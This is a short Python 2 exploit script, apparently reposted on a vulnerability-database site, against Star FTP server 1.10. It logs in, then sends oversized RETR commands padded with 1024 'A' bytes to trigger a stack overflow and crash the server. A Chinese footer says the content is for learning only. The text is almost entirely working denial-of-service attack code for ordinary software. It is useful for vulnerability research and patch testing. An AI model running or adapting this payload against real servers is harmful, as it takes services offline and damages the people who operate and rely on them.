# Star FTP server 1.10 # Bug type: stack overflow # Found by Necro <neco * ihack.pl> http://iHACK.pl from socket import * from sys import exit print '\n[*] Star FTP server 1.10 Remote 0day DoS Exploit' print '[*] Bug found by Necro <necro*ihack.pl> http://iHACK.pl' host = '127.0.0.1' port = 21 username = 'necro' password = 'dupa' evil = 'RETR' + '\x20' + '\x41' * 1024 + '\r\n' s = socket(AF_INET, SOCK_STREAM) try: s.connect((host, port)) except: print '\n[-] Connection Error' exit() s.recv(1024) s.send('USER' + '\x20' + username + '\r\n') s.recv(1024) s.send('PASS' + '\x20' + password + '\r\n') s.recv(1024) s.send('PORT 2000\r\n') s.recv(1024) s.send(evil) s.recv(1024) s.send(evil) s.close() print '[+] Done, shutdown.'
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论